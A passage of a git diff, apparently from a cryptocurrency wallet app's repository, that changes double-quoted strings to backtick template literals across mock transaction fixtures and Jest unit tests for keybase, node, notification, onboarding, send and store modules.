28, sequence: 0 @@ -62,15 +61,15 @@ module.exports = [ ] }, result: { - gasUsed: "3324", + gasUsed: `3324`, tags: [ { - key: "c2VuZGVy", - value: "N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==" + key: `c2VuZGVy`, + value: `N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==` }, { - key: "cmVjaXBpZW50", - value: "N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==" + key: `cmVjaXBpZW50`, + value: `N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==` } ], fee: {} @@ -78,37 +77,37 @@ module.exports = [ } }, { - hash: "not a real hash2", + hash: `not a real hash2`, time: Date.now() + 1010, // set by Voyager - height: "3438", + height: `3438`, tx: { - type: "8EFE47F0625DE8", + type: `8EFE47F0625DE8`, value: { msg: [ { - type: "EAFDE32A2C87F8", + type: `EAFDE32A2C87F8`, value: { inputs: [ { coins: [ { - denom: "jbcoins", + denom: `jbcoins`, amount: 1234 } ], - address: "tb1d4u5zerywfjhxuc9nudvw" + address: `tb1d4u5zerywfjhxuc9nudvw` } ], outputs: [ { coins: [ { - denom: "jbcoins", + denom: `jbcoins`, amount: 1234 } ], - address: "tb1da6xsetjg9jxgun9wdesexv05j" + address: `tb1da6xsetjg9jxgun9wdesexv05j` } ] } @@ -117,7 +116,7 @@ module.exports = [ fee: { amount: [ { - denom: "", + denom: ``, amount: 0 } ], @@ -127,13 +126,12 @@ module.exports = [ signatures: [ { pub_key: { - type: "AC26791624DE60", - value: "70df5mUA3bFTJheAI6umXvABNuUU+q/3nOPS6lmT3tU=" + type: `AC26791624DE60`, + value: `70df5mUA3bFTJheAI6umXvABNuUU+q/3nOPS6lmT3tU=` }, signature: { - type: "6BF5903DA1DB28", - value: - "oODzZz2t1u678Jhy2zFnFbBu7S2IP1zjOIoyVDOvGkQ6WkiiRF3zxEJbNAjHGdDjXf7/NQpMOtpt8FC1x6e6DA==" + type: `6BF5903DA1DB28`, + value: `oODzZz2t1u678Jhy2zFnFbBu7S2IP1zjOIoyVDOvGkQ6WkiiRF3zxEJbNAjHGdDjXf7/NQpMOtpt8FC1x6e6DA==` }, account_number: 28, sequence: 0 @@ -141,15 +139,15 @@ module.exports = [ ] }, result: { - gasUsed: "3324", + gasUsed: `3324`, tags: [ { - key: "c2VuZGVy", - value: "N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==" + key: `c2VuZGVy`, + value: `N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==` }, { - key: "cmVjaXBpZW50", - value: "N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==" + key: `cmVjaXBpZW50`, + value: `N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==` } ], fee: {} @@ -157,53 +155,53 @@ module.exports = [ } }, { - hash: "not a real hash3", + hash: `not a real hash3`, time: Date.now() + 100, // set by Voyager - height: "466", + height: `466`, tx: { - type: "8EFE47F0625DE8", + type: `8EFE47F0625DE8`, value: { msg: [ { - type: "EAFDE32A2C87F8", + type: `EAFDE32A2C87F8`, value: { inputs: [ { coins: [ { - denom: "jbcoins", + denom: `jbcoins`, amount: 1234 }, { - denom: "fabocoins", + denom: `fabocoins`, amount: 1 }, { - denom: "mattcoins", + denom: `mattcoins`, amount: 42 } ], - address: "tb1da6xsetjg9jxgun9wdesexv05j" + address: `tb1da6xsetjg9jxgun9wdesexv05j` } ], outputs: [ { coins: [ { - denom: "jbcoins", + denom: `jbcoins`, amount: 1234 }, { - denom: "fabocoins", + denom: `fabocoins`, amount: 1 }, { - denom: "mattcoins", + denom: `mattcoins`, amount: 42 } ], - address: "tb1d4u5zerywfjhxuc9nudvw" + address: `tb1d4u5zerywfjhxuc9nudvw` } ] } @@ -212,7 +210,7 @@ module.exports = [ fee: { amount: [ { - denom: "", + denom: ``, amount: 0 } ], @@ -222,13 +220,12 @@ module.exports = [ signatures: [ { pub_key: { - type: "AC26791624DE60", - value: "70df5mUA3bFTJheAI6umXvABNuUU+q/3nOPS6lmT3tU=" + type: `AC26791624DE60`, + value: `70df5mUA3bFTJheAI6umXvABNuUU+q/3nOPS6lmT3tU=` }, signature: { - type: "6BF5903DA1DB28", - value: - "oODzZz2t1u678Jhy2zFnFbBu7S2IP1zjOIoyVDOvGkQ6WkiiRF3zxEJbNAjHGdDjXf7/NQpMOtpt8FC1x6e6DA==" + type: `6BF5903DA1DB28`, + value: `oODzZz2t1u678Jhy2zFnFbBu7S2IP1zjOIoyVDOvGkQ6WkiiRF3zxEJbNAjHGdDjXf7/NQpMOtpt8FC1x6e6DA==` }, account_number: 28, sequence: 0 @@ -236,15 +233,15 @@ module.exports = [ ] }, result: { - gasUsed: "3324", + gasUsed: `3324`, tags: [ { - key: "c2VuZGVy", - value: "N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==" + key: `c2VuZGVy`, + value: `N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==` }, { - key: "cmVjaXBpZW50", - value: "N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==" + key: `cmVjaXBpZW50`, + value: `N0ZFQzVEREE0NDA3RDVBRUQ5OTlFMTM3QjYxQTQ2QTEzQTc2MkJCNg==` } ], fee: {} diff --git a/test/unit/specs/store/keybase.spec.js b/test/unit/specs/store/keybase.spec.js index ec75ff1408..0647e31d32 100644 --- a/test/unit/specs/store/keybase.spec.js +++ b/test/unit/specs/store/keybase.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Keybase", () => { +describe(`Module: Keybase`, () => { let store beforeEach(() => { @@ -14,15 +14,15 @@ describe("Module: Keybase", () => { axios.get = jest.fn(() => Promise.resolve({ data: { - status: { name: "OK" }, + status: { name: `OK` }, them: [ { basics: { - username: "keybaseUser" + username: `keybaseUser` }, pictures: { primary: { - url: "pictureUrl" + url: `pictureUrl` } } } @@ -32,33 +32,33 @@ describe("Module: Keybase", () => { ) } - it("should query for the keybase identity", async () => { - let axios = require("axios") + it(`should query for the keybase identity`, async () => { + let axios = require(`axios`) mockKeybaseLookup(axios) - await store.dispatch("getKeybaseIdentity", "abcdabcdabcdabcd") + await store.dispatch(`getKeybaseIdentity`, `abcdabcdabcdabcd`) expect(axios.get).toHaveBeenCalledTimes(1) expect(axios.get.mock.calls).toMatchSnapshot() }) - it("should bulk update the validators", async () => { - let axios = require("axios") + it(`should bulk update the validators`, async () => { + let axios = require(`axios`) mockKeybaseLookup(axios) - let validators = [{ description: { identity: "abcdabcdabcdabcd" } }] + let validators = [{ description: { identity: `abcdabcdabcdabcd` } }] - await store.dispatch("getKeybaseIdentities", validators) + await store.dispatch(`getKeybaseIdentities`, validators) expect(store.state.keybase.identities.abcdabcdabcdabcd).toBeTruthy() }) - it("should query only once for the keybase identity", async () => { - let axios = require("axios") + it(`should query only once for the keybase identity`, async () => { + let axios = require(`axios`) mockKeybaseLookup(axios) - let validators = [{ description: { identity: "abcdabcdabcdabcd" } }] + let validators = [{ description: { identity: `abcdabcdabcdabcd` } }] - await store.dispatch("getKeybaseIdentities", validators) - await store.dispatch("getKeybaseIdentities", validators) + await store.dispatch(`getKeybaseIdentities`, validators) + await store.dispatch(`getKeybaseIdentities`, validators) expect(axios.get).toHaveBeenCalledTimes(1) expect(axios.get.mock.calls).toMatchSnapshot() }) diff --git a/test/unit/specs/store/node.spec.js b/test/unit/specs/store/node.spec.js index 961b0b8de2..77269de121 100644 --- a/test/unit/specs/store/node.spec.js +++ b/test/unit/specs/store/node.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Node", () => { +describe(`Module: Node`, () => { let store, node beforeEach(() => { @@ -11,7 +11,7 @@ describe("Module: Node", () => { store = test.store node = test.node - node.rpcInfo.nodeIP = "234.234.234.234" + node.rpcInfo.nodeIP = `234.234.234.234` node.rpcInfo.connected = true node.rpcReconnect = jest.fn(() => { node.rpcInfo.connected = true @@ -25,256 +25,256 @@ describe("Module: Node", () => { jest.runAllTimers() }) - it("sets the header", () => { - store.dispatch("setLastHeader", { + it(`sets the header`, () => { + store.dispatch(`setLastHeader`, { height: 5, - chain_id: "test-chain" + chain_id: `test-chain` }) expect(store.state.node.lastHeader.height).toBe(5) - expect(store.state.node.lastHeader.chain_id).toBe("test-chain") + expect(store.state.node.lastHeader.chain_id).toBe(`test-chain`) }) - it("checks for new validators", async done => { + it(`checks for new validators`, async done => { node.getValidatorSet = () => done() // checks for validators only after having signed in - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) - store.dispatch("setLastHeader", { + store.dispatch(`setLastHeader`, { height: 5, - chain_id: "test-chain", - validators_hash: "1234567890123456789012345678901234567890" + chain_id: `test-chain`, + validators_hash: `1234567890123456789012345678901234567890` }) }) - it("sets connection state", () => { + it(`sets connection state`, () => { expect(store.state.node.connected).toBe(false) - store.commit("setConnected", true) + store.commit(`setConnected`, true) expect(store.state.node.connected).toBe(true) }) - it("sets the connected node", () => { + it(`sets the connected node`, () => { expect(store.state.node.nodeIP).toBe(null) - store.commit("setNode", "123.123.123.123") - expect(store.state.node.nodeIP).toBe("123.123.123.123") + store.commit(`setNode`, `123.123.123.123`) + expect(store.state.node.nodeIP).toBe(`123.123.123.123`) }) - it("triggers a reconnect", () => { - store.dispatch("reconnect") + it(`triggers a reconnect`, () => { + store.dispatch(`reconnect`) expect(node.rpcReconnect).toHaveBeenCalled() }) - it("subscribes again on reconnect", done => { + it(`subscribes again on reconnect`, done => { node.rpc.status = () => done() - store.dispatch("reconnected") + store.dispatch(`reconnected`) }) - it("should not reconnect if stop reconnecting is set", () => { - store.commit("stopConnecting", true) + it(`should not reconnect if stop reconnecting is set`, () => { + store.commit(`stopConnecting`, true) node.rpcReconnect = () => { - throw Error("Should not reconnect") + throw Error(`Should not reconnect`) } - store.dispatch("reconnect") + store.dispatch(`reconnect`) }) - it("reacts to rpc disconnection with reconnect", done => { + it(`reacts to rpc disconnection with reconnect`, done => { let failed = false node.rpcReconnect = () => { - store.commit("stopConnecting", true) + store.commit(`stopConnecting`, true) done() } node.rpc.on = jest.fn((value, cb) => { - if (value === "error" && !failed) { + if (value === `error` && !failed) { failed = true - cb({ message: "disconnected" }) + cb({ message: `disconnected` }) expect(store.state.node.connected).toBe(false) } }) - store.dispatch("rpcSubscribe") + store.dispatch(`rpcSubscribe`) }) - it("should not reconnect on errors that do not mean disconnection", done => { + it(`should not reconnect on errors that do not mean disconnection`, done => { node.rpcReconnect = () => { - throw Error("Shouldnt reconnect") + throw Error(`Shouldnt reconnect`) } node.rpc.on = jest.fn((value, cb) => { - if (value === "error") { - cb({ message: "some message" }) + if (value === `error`) { + cb({ message: `some message` }) expect(store.state.node.connected).toBe(true) done() } }) - store.dispatch("rpcSubscribe") + store.dispatch(`rpcSubscribe`) }) - it("should set the initial status on subscription", () => { + it(`should set the initial status on subscription`, () => { node.rpc.status = cb => cb(null, { sync_info: { latest_block_height: 42 }, - node_info: { network: "test-net" } + node_info: { network: `test-net` } }) - store.dispatch("rpcSubscribe") + store.dispatch(`rpcSubscribe`) expect(store.state.node.connected).toBe(true) - expect(store.state.node.nodeIP).toBe("234.234.234.234") + expect(store.state.node.nodeIP).toBe(`234.234.234.234`) expect(store.state.node.lastHeader.height).toBe(42) - expect(store.state.node.lastHeader.chain_id).toBe("test-net") + expect(store.state.node.lastHeader.chain_id).toBe(`test-net`) }) - it("should react to failing status calls", () => { - let spy = jest.spyOn(console, "error").mockImplementation(() => {}) - node.rpc.status = cb => cb({ message: "Expected" }, null) - store.dispatch("rpcSubscribe") + it(`should react to failing status calls`, () => { + let spy = jest.spyOn(console, `error`).mockImplementation(() => {}) + node.rpc.status = cb => cb({ message: `Expected` }, null) + store.dispatch(`rpcSubscribe`) expect(spy).toHaveBeenCalledWith({ - message: "Expected" + message: `Expected` }) spy.mockRestore() }) - it("should react to status updates", () => { + it(`should react to status updates`, () => { node.rpc.subscribe = (type, cb) => { - if (type.query === "tm.event = 'NewBlockHeader'") { + if (type.query === `tm.event = 'NewBlockHeader'`) { cb(null, { data: { value: { header: { height: 43, - chain_id: "test-net2", - validators_hash: "abcd" + chain_id: `test-net2`, + validators_hash: `abcd` } } } }) } } - store.dispatch("rpcSubscribe") + store.dispatch(`rpcSubscribe`) expect(store.state.node.connected).toBe(true) expect(store.state.node.lastHeader.height).toBe(43) - expect(store.state.node.lastHeader.chain_id).toBe("test-net2") + expect(store.state.node.lastHeader.chain_id).toBe(`test-net2`) }) - it("should react to status updates errors", () => { - let spy = jest.spyOn(console, "error").mockImplementation(() => {}) + it(`should react to status updates errors`, () => { + let spy = jest.spyOn(console, `error`).mockImplementation(() => {}) node.rpc.subscribe = (type, cb) => { - if (type.query === "tm.event = 'NewBlockHeader'") { - cb({ message: "Expected" }, null) + if (type.query === `tm.event = 'NewBlockHeader'`) { + cb({ message: `Expected` }, null) } } - store.dispatch("rpcSubscribe") - expect(spy).toHaveBeenCalledWith("error subscribing to headers", { - message: "Expected" + store.dispatch(`rpcSubscribe`) + expect(spy).toHaveBeenCalledWith(`error subscribing to headers`, { + message: `Expected` }) spy.mockRestore() }) - it("should check for an existing LCD connection", async () => { - expect(await store.dispatch("checkConnection")).toBe(true) + it(`should check for an existing LCD connection`, async () => { + expect(await store.dispatch(`checkConnection`)).toBe(true) node.lcdConnected = () => Promise.reject() - expect(await store.dispatch("checkConnection")).toBe(false) + expect(await store.dispatch(`checkConnection`)).toBe(false) expect(store.state.notifications[0].body).toContain(`Couldn't initialize`) }) - it("should trigger reconnection if it started disconnected", done => { + it(`should trigger reconnection if it started disconnected`, done => { jest.useFakeTimers() node.rpcInfo.connected = false node.rpcReconnect = () => { done() } - store.dispatch("rpcSubscribe") + store.dispatch(`rpcSubscribe`) jest.runAllTimers() }) - it("should ping the node to check connection status", done => { + it(`should ping the node to check connection status`, done => { node.rpc.status = () => done() - store.dispatch("pollRPCConnection") + store.dispatch(`pollRPCConnection`) expect(store.state.node.nodeTimeout).toBeDefined() }) - it("should reconnect if pinging node timesout", done => { + it(`should reconnect if pinging node timesout`, done => { node.rpcReconnect = () => done() node.rpc.status = () => {} - store.dispatch("pollRPCConnection", 10) + store.dispatch(`pollRPCConnection`, 10) }) - it("should reconnect if pinging node fails", done => { + it(`should reconnect if pinging node fails`, done => { node.rpcReconnect = () => { // restore status hook as it crashes the rest if not node.rpc.status = () => {} done() } - node.rpc.status = cb => cb("Error") - store.dispatch("pollRPCConnection", 10) + node.rpc.status = cb => cb(`Error`) + store.dispatch(`pollRPCConnection`, 10) }) - it("should not reconnect if pinging node is successful", () => { + it(`should not reconnect if pinging node is successful`, () => { node.rpc.status = cb => { - store.commit("stopConnecting", true) + store.commit(`stopConnecting`, true) cb(null, { node_info: {} }) } node.rpcReconnect = () => { - throw Error("Shouldnt reconnect") + throw Error(`Shouldnt reconnect`) } - store.dispatch("pollRPCConnection", 50) + store.dispatch(`pollRPCConnection`, 50) }) - it("should not subscribe if stopConnecting active", () => { - store.commit("stopConnecting", true) + it(`should not subscribe if stopConnecting active`, () => { + store.commit(`stopConnecting`, true) node.subscribe = () => { - throw Error("Shouldnt subscribe") + throw Error(`Shouldnt subscribe`) } - store.dispatch("rpcSubscribe") + store.dispatch(`rpcSubscribe`) }) - it("should set approval required state", () => { - store.commit("setNodeApprovalRequired", "abc") + it(`should set approval required state`, () => { + store.commit(`setNodeApprovalRequired`, `abc`) - expect(store.state.node.approvalRequired).toBe("abc") + expect(store.state.node.approvalRequired).toBe(`abc`) }) - it("should send approval of node hash", () => { - let { ipcRenderer } = require("electron") - let spy = jest.spyOn(ipcRenderer, "send") + it(`should send approval of node hash`, () => { + let { ipcRenderer } = require(`electron`) + let spy = jest.spyOn(ipcRenderer, `send`) - store.dispatch("approveNodeHash", "abc") + store.dispatch(`approveNodeHash`, `abc`) - expect(spy).toHaveBeenCalledWith("hash-approved", "abc") + expect(spy).toHaveBeenCalledWith(`hash-approved`, `abc`) expect(store.state.node.approvalRequired).toBe(null) }) - it("should send disapproval of node hash", () => { - let { ipcRenderer } = require("electron") - let spy = jest.spyOn(ipcRenderer, "send") + it(`should send disapproval of node hash`, () => { + let { ipcRenderer } = require(`electron`) + let spy = jest.spyOn(ipcRenderer, `send`) - store.dispatch("disapproveNodeHash", "abc") + store.dispatch(`disapproveNodeHash`, `abc`) - expect(spy).toHaveBeenCalledWith("hash-disapproved", "abc") + expect(spy).toHaveBeenCalledWith(`hash-disapproved`, `abc`) expect(store.state.node.approvalRequired).toBe(null) }) - it("should switch to the mocked node implemenation", () => { - let spy = jest.spyOn(node, "setup") + it(`should switch to the mocked node implemenation`, () => { + let spy = jest.spyOn(node, `setup`) - store.dispatch("setMockedConnector", true) + store.dispatch(`setMockedConnector`, true) expect(spy).toHaveBeenCalledWith(true) }) - it("should stop the lcd if in mocked mode", () => { - let { ipcRenderer } = require("electron") - let spy = jest.spyOn(ipcRenderer, "send") + it(`should stop the lcd if in mocked mode`, () => { + let { ipcRenderer } = require(`electron`) + let spy = jest.spyOn(ipcRenderer, `send`) - store.dispatch("setMockedConnector", true) + store.dispatch(`setMockedConnector`, true) - expect(spy).toHaveBeenCalledWith("stop-lcd") + expect(spy).toHaveBeenCalledWith(`stop-lcd`) }) - it("should log the user out if switched to live mode", () => { - store.dispatch("setMockedConnector", true) - store.dispatch("setMockedConnector", false) + it(`should log the user out if switched to live mode`, () => { + store.dispatch(`setMockedConnector`, true) + store.dispatch(`setMockedConnector`, false) - expect(store.state.config.modals.session.state).toBe("loading") + expect(store.state.config.modals.session.state).toBe(`loading`) expect(store.state.user.signedIn).toBe(false) }) }) diff --git a/test/unit/specs/store/notification.spec.js b/test/unit/specs/store/notification.spec.js index 7e3d44fa65..db07beb254 100644 --- a/test/unit/specs/store/notification.spec.js +++ b/test/unit/specs/store/notification.spec.js @@ -5,57 +5,57 @@ import notifications from "renderer/vuex/modules/notifications" const localVue = createLocalVue() localVue.use(Vuex) -describe("Module: Notification", () => { +describe(`Module: Notification`, () => { let store beforeEach(() => { store = new Vuex.Store({ modules: { notifications: notifications() } }) }) - it("should add a notification object to the store", () => { - store.commit("notify", { - title: "TitleA", - body: "BodyB" + it(`should add a notification object to the store`, () => { + store.commit(`notify`, { + title: `TitleA`, + body: `BodyB` }) expect(store.state.notifications.length).toBe(1) expect(store.state.notifications[0]).toMatchSnapshot() }) - it("should add a warning object to the store", () => { - store.commit("notifyWarn", { - title: "TitleA", - body: "BodyB" + it(`should add a warning object to the store`, () => { + store.commit(`notifyWarn`, { + title: `TitleA`, + body: `BodyB` }) expect(store.state.notifications.length).toBe(1) expect(store.state.notifications[0]).toMatchSnapshot() }) - it("should add an signup notification to the store", () => { - store.commit("notifySignUp") + it(`should add an signup notification to the store`, () => { + store.commit(`notifySignUp`) expect(store.state.notifications.length).toBe(1) expect(store.state.notifications[0]).toMatchSnapshot() }) - it("should add an signin notification to the store", () => { - store.commit("notifySignIn") + it(`should add an signin notification to the store`, () => { + store.commit(`notifySignIn`) expect(store.state.notifications.length).toBe(1) expect(store.state.notifications[0]).toMatchSnapshot() }) - it("should add an signout notification to the store", () => { - store.commit("notifySignOut") + it(`should add an signout notification to the store`, () => { + store.commit(`notifySignOut`) expect(store.state.notifications.length).toBe(1) expect(store.state.notifications[0]).toMatchSnapshot() }) - it("should add an authentication required notification to the store", () => { - store.commit("notifyAuthRequired") + it(`should add an authentication required notification to the store`, () => { + store.commit(`notifyAuthRequired`) expect(store.state.notifications.length).toBe(1) expect(store.state.notifications[0]).toMatchSnapshot() // allow body to be defined to give user source of auth decline - store.commit("notifyAuthRequired", "Some text") + store.commit(`notifyAuthRequired`, `Some text`) expect(store.state.notifications.length).toBe(2) - expect(store.state.notifications[1].body).toBe("Some text") + expect(store.state.notifications[1].body).toBe(`Some text`) }) }) diff --git a/test/unit/specs/store/onboarding.spec.js b/test/unit/specs/store/onboarding.spec.js index 71e9c2ea4b..7cdc33f911 100644 --- a/test/unit/specs/store/onboarding.spec.js +++ b/test/unit/specs/store/onboarding.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Onboarding", () => { +describe(`Module: Onboarding`, () => { let store, state beforeEach(() => { @@ -10,33 +10,33 @@ describe("Module: Onboarding", () => { state = store.state.onboarding }) - it("toggles onboarding active state", () => { + it(`toggles onboarding active state`, () => { expect(state.active).toBe(true) - store.commit("setOnboardingActive", false) + store.commit(`setOnboardingActive`, false) expect(state.active).toBe(false) - store.commit("setOnboardingActive", true) + store.commit(`setOnboardingActive`, true) expect(state.active).toBe(true) }) - it("toggles onboarding state", () => { + it(`toggles onboarding state`, () => { expect(state.state).toBe(0) - store.commit("setOnboardingState", 3) + store.commit(`setOnboardingState`, 3) expect(state.state).toBe(3) - store.commit("setOnboardingState", 0) + store.commit(`setOnboardingState`, 0) expect(state.state).toBe(0) }) - it("loads the onboarding active state from localStorage", () => { - store.commit("setOnboardingActive", false) + it(`loads the onboarding active state from localStorage`, () => { + store.commit(`setOnboardingActive`, false) state.active = true - store.commit("loadOnboarding") + store.commit(`loadOnboarding`) expect(state.active).toBe(false) }) - it("loads the onboarding state from localStorage", () => { - store.commit("setOnboardingState", 3) + it(`loads the onboarding state from localStorage`, () => { + store.commit(`setOnboardingState`, 3) state.state = 1 - store.commit("loadOnboarding") + store.commit(`loadOnboarding`) expect(state.state).toBe(3) }) }) diff --git a/test/unit/specs/store/send.spec.js b/test/unit/specs/store/send.spec.js index 9715ca715a..df60a6eef1 100644 --- a/test/unit/specs/store/send.spec.js +++ b/test/unit/specs/store/send.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Send", () => { +describe(`Module: Send`, () => { let store, node beforeEach(() => { @@ -13,128 +13,128 @@ describe("Module: Send", () => { // DEFAULT - it("should have an empty state by default", () => { - const state = { nonce: "0" } + it(`should have an empty state by default`, () => { + const state = { nonce: `0` } expect(store.state.send).toEqual(state) }) // MUTATIONS - it("should set wallet nonce", () => { + it(`should set wallet nonce`, () => { const nonce = 959 - store.commit("setNonce", nonce) + store.commit(`setNonce`, nonce) expect(store.state.send.nonce).toBe(nonce) }) // ACTIONS - describe("send transactions", () => { + describe(`send transactions`, () => { beforeEach(async () => { - let account = "default" - let password = "1234567890" + let account = `default` + let password = `1234567890` node.send = jest.fn(node.send) - await store.dispatch("signIn", { account, password }) - store.dispatch("setLastHeader", { + await store.dispatch(`signIn`, { account, password }) + store.dispatch(`setLastHeader`, { height: 5, - chain_id: "test-chain" + chain_id: `test-chain` }) }) - it("should send from wallet", async () => { + it(`should send from wallet`, async () => { const args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } - await store.dispatch("sendTx", args) + await store.dispatch(`sendTx`, args) expect(node.send.mock.calls).toMatchSnapshot() }) - it("should fail sending a wallet tx", async done => { + it(`should fail sending a wallet tx`, async done => { node.send = () => Promise.reject() const args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } - store.dispatch("sendTx", args).then(done.fail, () => done()) + store.dispatch(`sendTx`, args).then(done.fail, () => done()) }) - it("should send a transaction after failing", async () => { + it(`should send a transaction after failing`, async () => { let send = node.send.bind(node) node.send = () => Promise.reject(true) let args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } let error1 try { - await store.dispatch("sendTx", args) + await store.dispatch(`sendTx`, args) } catch (err) { error1 = err } expect(error1).toBeDefined() node.send = send - args = { to: "mock_address", amount: [{ denom: "mycoin", amount: 123 }] } + args = { to: `mock_address`, amount: [{ denom: `mycoin`, amount: 123 }] } let error2 try { - await store.dispatch("sendTx", args) + await store.dispatch(`sendTx`, args) } catch (err) { error2 = err } expect(error2).toBeUndefined() }) - it("should wait for currently sending tx to be sent", async () => { + it(`should wait for currently sending tx to be sent`, async () => { const args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } node.send = async () => ({ check_tx: { code: 0 }, deliver_tx: { code: 0 } }) - store.dispatch("sendTx", Object.assign({}, args)) - await store.dispatch("sendTx", Object.assign({}, args)) + store.dispatch(`sendTx`, Object.assign({}, args)) + await store.dispatch(`sendTx`, Object.assign({}, args)) }) - it("should query the wallet state after sending", async done => { + it(`should query the wallet state after sending`, async done => { const args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } node.queryAccount = () => done() - await store.dispatch("sendTx", args) + await store.dispatch(`sendTx`, args) }) - it("should signal check tx failure", async done => { + it(`should signal check tx failure`, async done => { const args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } node.send = async () => ({ check_tx: { code: 1 }, deliver_tx: { code: 0 } }) - await store.dispatch("sendTx", args).catch(() => done()) + await store.dispatch(`sendTx`, args).catch(() => done()) }) - it("should signal deliver tx failure", async done => { + it(`should signal deliver tx failure`, async done => { const args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } node.send = async () => ({ check_tx: { code: 0 }, deliver_tx: { code: 1 } }) - await store.dispatch("sendTx", args).catch(() => done()) + await store.dispatch(`sendTx`, args).catch(() => done()) }) - it("should handle tx failure in multiple tx result", async done => { + it(`should handle tx failure in multiple tx result`, async done => { const args = { - to: "mock_address", - amount: [{ denom: "mycoin", amount: 123 }] + to: `mock_address`, + amount: [{ denom: `mycoin`, amount: 123 }] } node.send = async () => [ { @@ -146,7 +146,7 @@ describe("Module: Send", () => { deliver_tx: { code: 1 } } ] - await store.dispatch("sendTx", args).catch(() => done()) + await store.dispatch(`sendTx`, args).catch(() => done()) }) }) }) diff --git a/test/unit/specs/store/store.spec.js b/test/unit/specs/store/store.spec.js index 2db61cbdfd..ab30de73b0 100644 --- a/test/unit/specs/store/store.spec.js +++ b/test/unit/specs/store/store.spec.js @@ -2,7 +2,7 @@ import Store from "renderer/vuex/store" import node from "../../helpers/node_mock" import lcdClientMock from "renderer/connectors/lcdClientMock.js" -describe("Store", () => { +describe(`Store`, () => { let store beforeEach(() => { @@ -10,88 +10,88 @@ describe("Store", () => { node.txs = () => new Promise(() => {}) // make txs not return store = Store({ node }) localStorage.setItem( - "store_test-net_" + lcdClientMock.addresses[0], + `store_test-net_` + lcdClientMock.addresses[0], undefined ) }) // DEFAULT - it("should persist balances et al if the user is logged in", async () => { + it(`should persist balances et al if the user is logged in`, async () => { jest.useFakeTimers() - await store.dispatch("setLastHeader", { + await store.dispatch(`setLastHeader`, { height: 42, - chain_id: "test-net" + chain_id: `test-net` }) - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) - store.commit("setWalletBalances", [{ denom: "fabocoin", amount: 42 }]) + store.commit(`setWalletBalances`, [{ denom: `fabocoin`, amount: 42 }]) jest.runAllTimers() // updating is waiting if more updates coming in, this skips the waiting expect( - localStorage.getItem("store_test-net_" + lcdClientMock.addresses[0]) + localStorage.getItem(`store_test-net_` + lcdClientMock.addresses[0]) ).toBeTruthy() }) - it("should not update cache if not logged in", async () => { + it(`should not update cache if not logged in`, async () => { jest.useFakeTimers() - await store.dispatch("setLastHeader", { + await store.dispatch(`setLastHeader`, { height: 42, - chain_id: "test-net" + chain_id: `test-net` }) - store.commit("setWalletBalances", [{ denom: "fabocoin", amount: 42 }]) + store.commit(`setWalletBalances`, [{ denom: `fabocoin`, amount: 42 }]) jest.runAllTimers() // updating is waiting if more updates coming in, this skips the waiting expect( - localStorage.getItem("store_test-net_" + lcdClientMock.addresses[0]) + localStorage.getItem(`store_test-net_` + lcdClientMock.addresses[0]) ).toBeFalsy() }) - it("should restore balances et al after logging in", async () => { + it(`should restore balances et al after logging in`, async () => { jest.useFakeTimers() - await store.dispatch("setLastHeader", { + await store.dispatch(`setLastHeader`, { height: 42, - chain_id: "test-net" + chain_id: `test-net` }) - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) - store.commit("setWalletBalances", [{ denom: "fabocoin", amount: 42 }]) - store.commit("setWalletTxs", [{}]) + store.commit(`setWalletBalances`, [{ denom: `fabocoin`, amount: 42 }]) + store.commit(`setWalletTxs`, [{}]) jest.runAllTimers() // updating is waiting if more updates coming in, this skips the waiting - await store.dispatch("signOut") - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signOut`) + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) expect(store.state.wallet.balances).toHaveLength(1) expect(store.state.transactions.wallet).toHaveLength(1) }) - it("should restore delegates and put committed ones in the cart", async () => { + it(`should restore delegates and put committed ones in the cart`, async () => { jest.useFakeTimers() - await 